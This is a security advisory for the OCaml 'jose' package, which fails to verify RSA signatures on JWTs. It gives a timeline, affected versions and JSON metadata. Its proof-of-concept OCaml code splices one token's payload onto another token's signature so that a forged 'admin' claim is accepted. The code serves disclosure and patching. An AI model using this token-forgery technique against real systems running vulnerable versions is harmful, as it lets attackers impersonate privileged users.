OSEC-2026-19 (CVE-2026-89086)
Vulnerability from osv_ocaml – Published: 2026-09-10 10:00 – Updated: 2026-09-10 20:20 – Source websiteThe opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
Reproduction
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
let () = Mirage_crypto_rng_unix.use_default ()
let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to_string
let seg n token = List.nth (String.split_on_char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
The dune file:
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
This prints "accepted, sub = admin".
Workaround
There is no workaround known.
Timeline
- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
{
"affected": [
{
"ecosystem_specific": {
"opam_constraint": "jose {\u003c \"0.11.0\"}"
},
"package": {
"ecosystem": "opam",
"name": "jose",
"purl": "pkg:opam/jose"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.2.0",
"0.3.0",
"0.3.1",
"0.4.0",
"0.5.0",
"0.5.1",
"0.6.0",
"0.7.0",
"0.8.1",
"0.8.2",
"0.9.0",
"0.10.0"
]
},
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "cf17d991ec6a0d1997956b6c7799890f9c28879e"
}
],
"repo": "https://github.com/ulrikstrid/ocaml-jose",
"type": "GIT"
}
]
}
],
"aliases": [
"CVE-2026-89086"
],
"credits": [
{
"name": "Sergey Zhukaev",
"type": "REPORTER"
},
{
"name": "Hannes Mehnert",
"type": "COORDINATOR"
},
{
"name": "Konstantin Olkhovskiy",
"type": "COORDINATOR"
},
{
"name": "Ulrik Strid",
"type": "REMEDIATION_DEVELOPER"
}
],
"database_specific": {
"cwe": [
"CWE-347"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
},
"details": "The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one\u0027s payload onto the other\u0027s signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n |\u003e Result.get_ok |\u003e Jose.Jwt.to_string\n\nlet seg n token = List.nth (String.split_on_char \u0027.\u0027 token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice\u0027s header and signature, admin\u0027s payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n Jose.Jwt.unsafe_of_string forged\n |\u003e Result.get_ok\n |\u003e Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n | Ok t -\u003e\n print_endline\n (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n | Error _ -\u003e print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory",
"id": "OSEC-2026-19",
"modified": "2026-09-10T20:20:00Z",
"published": "2026-09-10T10:00:00Z",
"references": [],
"schema_version": "1.7.4",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "JOSE: missing RSA signature verification"
}
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